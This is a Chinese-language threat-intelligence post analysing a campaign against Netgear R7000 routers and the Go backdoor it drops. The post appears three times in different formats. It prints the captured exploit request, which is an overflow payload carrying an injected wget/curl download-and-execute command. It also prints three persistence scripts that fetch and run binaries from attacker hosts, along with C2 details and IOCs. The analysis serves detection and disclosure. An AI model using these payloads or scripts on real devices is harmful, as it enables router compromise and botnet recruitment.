Minav 威胁快讯
<!--kg-card-begin: markdown--><h1 id="exploit">Exploit</h1>
<ul>
<li>
<p>攻击目标:是网件路由器，Netgear_R7000。</p>
</li>
<li>
<p>攻击载荷:</p>
</li>
</ul>
<pre><code>POST /upgrade_check.cgi HTTP/1.1
Host: xxxxxxxx
Content-Disposition: AAAA
Content-Length: 1575
Content-Type: application/octet-stream
name=&quot;mtenFWUpload&quot;

*#$^....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE....wget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone  || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -o /tmp/zone &amp;&amp; chmod +x /tmp/zone  &amp;&amp; /tmp/zonewget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone  || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.arm -o /tmp/zone &amp;&amp; chmod +x /tmp/zone  &amp;&amp; /tmp/zone.ZZZZZZZZ
</code></pre>
<h1 id="bash">Bash</h1>
<p>虽然从攻击pyload上看，落地样本是ELF文件，但是从同源地址下载到了用来部署ELF的脚本文件。</p>
<pre><code>hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh 
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh
</code></pre>
<p>文件内容是简单的下载执行。</p>
<ul>
<li>deploy.sh</li>
</ul>
<pre><code>wait=`wget -q -O /tmp/zon --no-check-certificate hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE`
chmod +x /tmp/zon
/tmp/zon &gt;/dev/null &amp;
</code></pre>
<ul>
<li>zonesetup.sh</li>
</ul>
<pre><code>#!/bin/sh
sh=`head  /dev/urandom  |  tr -dc A-Za-z0-9`
f=`echo $sh | cut -c 3-9`
wait=`wget -q -t 1 -T 8 --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh -O /tmp/$f`
chmod +x /tmp/$f
/tmp/$f
</code></pre>
<ul>
<li>zoneController.sh</li>
</ul>
<pre><code>#!/bin/sh
while true
do
    bin=`ps ax|grep -v grep|grep /tmp/apached`
    if [ -z &quot;$bin&quot; ]; then
        wait=`wget -q -t 1 -T 8 -O /tmp/apached hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE --no-check-certificate`
        chmod +x /tmp/apached
        /tmp/apached &gt;/dev/null &amp;
    fi
    sleep 6000
done

</code></pre>
<h1 id="elfmalware">ELF Malware</h1>
<ul>
<li>文件类型：Go语言开发，UPX加壳，支持 ARM, x86, x64。</li>
</ul>
<p><img src="__GHOST_URL__/content/images/2021/10/image-39.png" alt="image-39" loading="lazy"></p>
<ul>
<li>
<p>样本分类：</p>
<p>分析代码可以初步判定为一个Go语言实现的简单后门。支持的功能有限制，样本仍然在快速迭代开发中。<br>
<img src="__GHOST_URL__/content/images/2021/10/functions.png" alt="functions" loading="lazy"></p>
</li>
<li>
<p>通信方式：</p>
<ol>
<li>tls加密，CC协议格式是JSON。</li>
</ol>
<p><img src="__GHOST_URL__/content/images/2021/10/pcap.png" alt="pcap" loading="lazy"></p>
<ol start="2">
<li>上线包格式</li>
</ol>
<pre><code>{&quot;flags&quot;:&quot;LX&quot;,&quot;localip&quot;:&quot;192.168.68.112&quot;,&quot;mac&quot;:&quot;000111111111&quot;,&quot;version&quot;:&quot;1.0.0&quot;}
</code></pre>
</li>
<li>
<p>基本功能分析：</p>
<p>通过分析主函功能逻辑可知样本目前的主要功能大致如下：</p>
</li>
</ul>
<p>早期样本(1.0.0)：</p>
<pre><code>0x5    创建交互bash  
0x8    可能是关闭交互bash  
0x9    创建后台进程  
0x10   执行bash命令  
0xf    下载文件  
0x12/0x13 可能是检索文件名  
0x14    遍历目录  
0x16    退出  
0x19    收集主机配置信息  
</code></pre>
<p>近期更新情况(1.1.8):</p>
<pre><code>0x1.  汇报进程状态
0x2.  (无实际含义)
0x4.  交互式 bash
0x5/0x7 辅助转发交互式Bash 的输入输出 
0x8   以后台任务的形式执行 Bash 命令
0x9   直接执行一条 bash 命令
0xE.  协程形式运行一个可执行文件
0x11/0x12  检查文件状态
0x15.  退出控制
0x17   收集主机信息(CPU利用率，内存大小，等)
</code></pre>
<ul>
<li>资源解密还原</li>
</ul>
<p>在样本的 qingchangshengshou.com.wuchang.zone.init 函数中，有一系列 AES 加密后的密文字串，解密算法大致如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2021/12/WX20211221-202823.png" alt="WX20211221-202823" loading="lazy"></p>
<p>将所有密文内容还原后，内容如下：</p>
<pre><code>0 sthwrt.ns01.us
1 uptime
2 days,
3 mac
4 flags
5 version
6 ip
7 /bin/bash
8 /bin/sh
9 /usr/bin/bash
10 /usr/bin/sh
11 segment
12 connected
13 df | grep /$ | awk '{print $(NF-1)}'
14 disk
15 mem
16 cpu
</code></pre>
<p>其中 <code>sthwrt.ns01.us</code> 为 CC 域名，<code>df | grep /$ | awk '{print $(NF-1)}'</code> 为查询磁盘使用率时用到的命令。</p>
<h1 id="iocs">IOCs</h1>
<pre><code># download URL
hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/test
hxxps://minavgmax.dynamic-dns.net/static/zone.
hxxps://minavgmax.dynamic-dns.net/static/zone.aarch64
hxxps://minavgmax.dynamic-dns.net/static/zone.arm
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7n
hxxps://minavgmax.dynamic-dns.net/static/zone.armv5l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv6l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv7l
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh
hxxps://minavgmax.dynamic-dns.net/static/.zoneController.sh.swp
hxxps://minavgmax.dynamic-dns.net/static/zonedelete.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE
hxxps://minavgmax.dynamic-dns.net/static/zone.i386
hxxps://minavgmax.dynamic-dns.net/static/zone.i486
hxxps://minavgmax.dynamic-dns.net/static/zone.i686
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.x64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86-64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_bk

hxxps://sinaiot.dns05.com/static/*
hxxps://139.180.185.238/static/*


# md5 
b52f349561344456505142fb18a9148
8dc537e7ed8426e7cef506757d9e5ce2
20ce42910f909774e39f44f405f6a6d6
84d59d96d682c06f5161f02d3a26297d
1302d1fe28f49160cb5681bdf02cc3f2
b09b23c72cfd26bd137af4645292a86b
b097f66632fcd9da0985256439c650e1
cfa031b737d185c385e40b3db0e13f66
f13add3a99ac3112704e10ce97c48430
f60cd6afa023fcc5559175cfc1c9c6b9
a23bea2d3f1cf4ea0ba32d883c8c6ca1


# c2
sthwrt.ns01.us 80
sinaiot.dns05.com 27815
minavgmax.dynamic-dns.net 27815
</code></pre>
<!--kg-card-end: markdown-->
Exploit


 * 
   
   
   攻击目标:是网件路由器，Netgear_R7000。
   

 * 
   
   
   攻击载荷:
   


POST /upgrade_check.cgi HTTP/1.1
Host: xxxxxxxx
Content-Disposition: AAAA
Content-Length: 1575
Content-Type: application/octet-stream
name="mtenFWUpload"

*#$^....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE....wget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone  || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -o /tmp/zone && chmod +x /tmp/zone  && /tmp/zonewget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone  || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.arm -o /tmp/zone && chmod +x /tmp/zone  && /tmp/zone.ZZZZZZZZ




Bash


虽然从攻击pyload上看，落地样本是ELF文件，但是从同源地址下载到了用来部署ELF的脚本文件。


hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh 
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh



文件内容是简单的下载执行。


 * deploy.sh


wait=`wget -q -O /tmp/zon --no-check-certificate hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE`
chmod +x /tmp/zon
/tmp/zon >/dev/null &



 * zonesetup.sh


#!/bin/sh
sh=`head  /dev/urandom  |  tr -dc A-Za-z0-9`
f=`echo $sh | cut -c 3-9`
wait=`wget -q -t 1 -T 8 --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh -O /tmp/$f`
chmod +x /tmp/$f
/tmp/$f



 * zoneController.sh


#!/bin/sh
while true
do
    bin=`ps ax|grep -v grep|grep /tmp/apached`
    if [ -z "$bin" ]; then
        wait=`wget -q -t 1 -T 8 -O /tmp/apached hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE --no-check-certificate`
        chmod +x /tmp/apached
        /tmp/apached >/dev/null &
    fi
    sleep 6000
done





ELF Malware


 * 文件类型：Go语言开发，UPX加壳，支持 ARM, x86, x64。





 * 
   
   
   样本分类：
   
   
   分析代码可以初步判定为一个Go语言实现的简单后门。支持的功能有限制，样本仍然在快速迭代开发中。
   
   
   

 * 
   
   
   通信方式：
   
   
   1. tls加密，CC协议格式是JSON。
   
   
   
   
   
   2. 上线包格式
   
   
   {"flags":"LX","localip":"192.168.68.112","mac":"000111111111","version":"1.0.0"}
   
   

 * 
   
   
   基本功能分析：
   
   
   通过分析主函功能逻辑可知样本目前的主要功能大致如下：
   


早期样本(1.0.0)：


0x5    创建交互bash  
0x8    可能是关闭交互bash  
0x9    创建后台进程  
0x10   执行bash命令  
0xf    下载文件  
0x12/0x13 可能是检索文件名  
0x14    遍历目录  
0x16    退出  
0x19    收集主机配置信息  



近期更新情况(1.1.8):


0x1.  汇报进程状态
0x2.  (无实际含义)
0x4.  交互式 bash
0x5/0x7 辅助转发交互式Bash 的输入输出 
0x8   以后台任务的形式执行 Bash 命令
0x9   直接执行一条 bash 命令
0xE.  协程形式运行一个可执行文件
0x11/0x12  检查文件状态
0x15.  退出控制
0x17   收集主机信息(CPU利用率，内存大小，等)



 * 资源解密还原


在样本的 qingchangshengshou.com.wuchang.zone.init 函数中，有一系列 AES 加密后的密文字串，解密算法大致如下图所示：





将所有密文内容还原后，内容如下：


0 sthwrt.ns01.us
1 uptime
2 days,
3 mac
4 flags
5 version
6 ip
7 /bin/bash
8 /bin/sh
9 /usr/bin/bash
10 /usr/bin/sh
11 segment
12 connected
13 df | grep /$ | awk '{print $(NF-1)}'
14 disk
15 mem
16 cpu



其中 sthwrt.ns01.us 为 CC 域名，df | grep /$ | awk '{print $(NF-1)}' 为查询磁盘使用率时用到的命令。



IOCs


# download URL
hxxps://minavgmax.dynamic-dns.net/static/deploy.sh
hxxps://minavgmax.dynamic-dns.net/static/test
hxxps://minavgmax.dynamic-dns.net/static/zone.
hxxps://minavgmax.dynamic-dns.net/static/zone.aarch64
hxxps://minavgmax.dynamic-dns.net/static/zone.arm
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4
hxxps://minavgmax.dynamic-dns.net/static/zone.arm4n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5
hxxps://minavgmax.dynamic-dns.net/static/zone.arm5n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6
hxxps://minavgmax.dynamic-dns.net/static/zone.arm6n
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7
hxxps://minavgmax.dynamic-dns.net/static/zone.arm7n
hxxps://minavgmax.dynamic-dns.net/static/zone.armv5l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv6l
hxxps://minavgmax.dynamic-dns.net/static/zone.armv7l
hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh
hxxps://minavgmax.dynamic-dns.net/static/.zoneController.sh.swp
hxxps://minavgmax.dynamic-dns.net/static/zonedelete.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE
hxxps://minavgmax.dynamic-dns.net/static/zone.i386
hxxps://minavgmax.dynamic-dns.net/static/zone.i486
hxxps://minavgmax.dynamic-dns.net/static/zone.i686
hxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh
hxxps://minavgmax.dynamic-dns.net/static/zone.x64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86-64
hxxps://minavgmax.dynamic-dns.net/static/zone.x86_bk

hxxps://sinaiot.dns05.com/static/*
hxxps://139.180.185.238/static/*


# md5 
b52f349561344456505142fb18a9148
8dc537e7ed8426e7cef506757d9e5ce2
20ce42910f909774e39f44f405f6a6d6
84d59d96d682c06f5161f02d3a26297d
1302d1fe28f49160cb5681bdf02cc3f2
b09b23c72cfd26bd137af4645292a86b
b097f66632fcd9da0985256439c650e1
cfa031b737d185c385e40b3db0e13f66
f13add3a99ac3112704e10ce97c48430
f60cd6afa023fcc5559175cfc1c9c6b9
a23bea2d3f1cf4ea0ba32d883c8c6ca1


# c2
sthwrt.ns01.us 80
sinaiot.dns05.com 27815
minavgmax.dynamic-dns.net 27815


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Exploit\n\n* 攻击目标:是网件路由器，Netgear_R7000。\n\n* 攻击载荷:\n```\nPOST /upgrade_check.cgi HTTP/1.1\nHost: xxxxxxxx\nContent-Disposition: AAAA\nContent-Length: 1575\nContent-Type: application/octet-stream\nname=\"mtenFWUpload\"\n\n*#$^....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEE....wget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone  || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -o /tmp/zone && chmod +x /tmp/zone  && /tmp/zonewget -q --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE -O /tmp/zone  || curl -k hxxps://minavgmax.dynamic-dns.net/static/zone.arm -o /tmp/zone && chmod +x /tmp/zone  && /tmp/zone.ZZZZZZZZ\n```\n\n# Bash\n\n虽然从攻击pyload上看，落地样本是ELF文件，但是从同源地址下载到了用来部署ELF的脚本文件。\n\n```\nhxxps://minavgmax.dynamic-dns.net/static/deploy.sh\nhxxps://minavgmax.dynamic-dns.net/static/zoneController.sh \nhxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh\n```\n\n文件内容是简单的下载执行。\n\n* deploy.sh\n\n```\nwait=`wget -q -O /tmp/zon --no-check-certificate hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE`\nchmod +x /tmp/zon\n/tmp/zon >/dev/null &\n```\n\n* zonesetup.sh\n\n```\n#!/bin/sh\nsh=`head  /dev/urandom  |  tr -dc A-Za-z0-9`\nf=`echo $sh | cut -c 3-9`\nwait=`wget -q -t 1 -T 8 --no-check-certificate hxxps://minavgmax.dynamic-dns.net/static/zoneController.sh -O /tmp/$f`\nchmod +x /tmp/$f\n/tmp/$f\n```\n\n* zoneController.sh\n\n```\n#!/bin/sh\nwhile true\ndo\n    bin=`ps ax|grep -v grep|grep /tmp/apached`\n    if [ -z \"$bin\" ]; then\n        wait=`wget -q -t 1 -T 8 -O /tmp/apached hxxps://sinaiot.dns05.com/static/zone.$HOSTTYPE --no-check-certificate`\n        chmod +x /tmp/apached\n        /tmp/apached >/dev/null &\n    fi\n    sleep 6000\ndone\n\n```\n\n\n# ELF Malware\n\n* 文件类型：Go语言开发，UPX加壳，支持 ARM, x86, x64。\n\n![image-39](__GHOST_URL__/content/images/2021/10/image-39.png)\n\n* 样本分类：\n    \n    分析代码可以初步判定为一个Go语言实现的简单后门。支持的功能有限制，样本仍然在快速迭代开发中。\n    ![functions](__GHOST_URL__/content/images/2021/10/functions.png)\n    \n\n* 通信方式：\n    \n    1. tls加密，CC协议格式是JSON。\n    \n    ![pcap](__GHOST_URL__/content/images/2021/10/pcap.png)\n    \n    2. 上线包格式 \n    ```\n    {\"flags\":\"LX\",\"localip\":\"192.168.68.112\",\"mac\":\"000111111111\",\"version\":\"1.0.0\"}\n    ```\n\n\n* 基本功能分析：\n\n    通过分析主函功能逻辑可知样本目前的主要功能大致如下：\n\n早期样本(1.0.0)：\n```\n0x5    创建交互bash  \n0x8    可能是关闭交互bash  \n0x9    创建后台进程  \n0x10   执行bash命令  \n0xf    下载文件  \n0x12/0x13 可能是检索文件名  \n0x14    遍历目录  \n0x16    退出  \n0x19    收集主机配置信息  \n```\n\n近期更新情况(1.1.8):\n\n```\n0x1.  汇报进程状态\n0x2.  (无实际含义)\n0x4.  交互式 bash\n0x5/0x7 辅助转发交互式Bash 的输入输出 \n0x8   以后台任务的形式执行 Bash 命令\n0x9   直接执行一条 bash 命令\n0xE.  协程形式运行一个可执行文件\n0x11/0x12  检查文件状态\n0x15.  退出控制\n0x17   收集主机信息(CPU利用率，内存大小，等)\n```\n\n* 资源解密还原\n\n在样本的 qingchangshengshou.com.wuchang.zone.init 函数中，有一系列 AES 加密后的密文字串，解密算法大致如下图所示：\n\n![WX20211221-202823](__GHOST_URL__/content/images/2021/12/WX20211221-202823.png)\n\n将所有密文内容还原后，内容如下：\n\n```\n0 sthwrt.ns01.us\n1 uptime\n2 days,\n3 mac\n4 flags\n5 version\n6 ip\n7 /bin/bash\n8 /bin/sh\n9 /usr/bin/bash\n10 /usr/bin/sh\n11 segment\n12 connected\n13 df | grep /$ | awk '{print $(NF-1)}'\n14 disk\n15 mem\n16 cpu\n```\n\n其中 `sthwrt.ns01.us` 为 CC 域名，`df | grep /$ | awk '{print $(NF-1)}'` 为查询磁盘使用率时用到的命令。\n\n# IOCs\n```\n# download URL\nhxxps://minavgmax.dynamic-dns.net/static/deploy.sh\nhxxps://minavgmax.dynamic-dns.net/static/test\nhxxps://minavgmax.dynamic-dns.net/static/zone.\nhxxps://minavgmax.dynamic-dns.net/static/zone.aarch64\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm4\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm4n\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm5\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm5n\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm6\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm6n\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm7\nhxxps://minavgmax.dynamic-dns.net/static/zone.arm7n\nhxxps://minavgmax.dynamic-dns.net/static/zone.armv5l\nhxxps://minavgmax.dynamic-dns.net/static/zone.armv6l\nhxxps://minavgmax.dynamic-dns.net/static/zone.armv7l\nhxxps://minavgmax.dynamic-dns.net/static/zoneController.sh\nhxxps://minavgmax.dynamic-dns.net/static/.zoneController.sh.swp\nhxxps://minavgmax.dynamic-dns.net/static/zonedelete.sh\nhxxps://minavgmax.dynamic-dns.net/static/zone.$HOSTTYPE\nhxxps://minavgmax.dynamic-dns.net/static/zone.i386\nhxxps://minavgmax.dynamic-dns.net/static/zone.i486\nhxxps://minavgmax.dynamic-dns.net/static/zone.i686\nhxxps://minavgmax.dynamic-dns.net/static/zonesetup.sh\nhxxps://minavgmax.dynamic-dns.net/static/zone.x64\nhxxps://minavgmax.dynamic-dns.net/static/zone.x86\nhxxps://minavgmax.dynamic-dns.net/static/zone.x86_64\nhxxps://minavgmax.dynamic-dns.net/static/zone.x86-64\nhxxps://minavgmax.dynamic-dns.net/static/zone.x86_bk\n\nhxxps://sinaiot.dns05.com/static/*\nhxxps://139.180.185.238/static/*\n\n\n# md5 \nb52f349561344456505142fb18a9148\n8dc537e7ed8426e7cef506757d9e5ce2\n20ce42910f909774e39f44f405f6a6d6\n84d59d96d682c06f5161f02d3a26297d\n1302d1fe28f49160cb5681bdf02cc3f2\nb09b23c72cfd26bd137af4645292a86b\nb097f66632fcd9da0985256439c650e1\ncfa031b737d185c385e40b3db0e13f66\nf13add3a99ac3112704e10ce97c48430\nf60cd6afa023fcc5559175cfc1c9c6b9\na23bea2d3f1cf4ea0ba32d883c8c6ca1\n\n\n# c2\nsthwrt.ns01.us 80\nsinaiot.dns05.com 27815\nminavgmax.dynamic-dns.net 27815\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}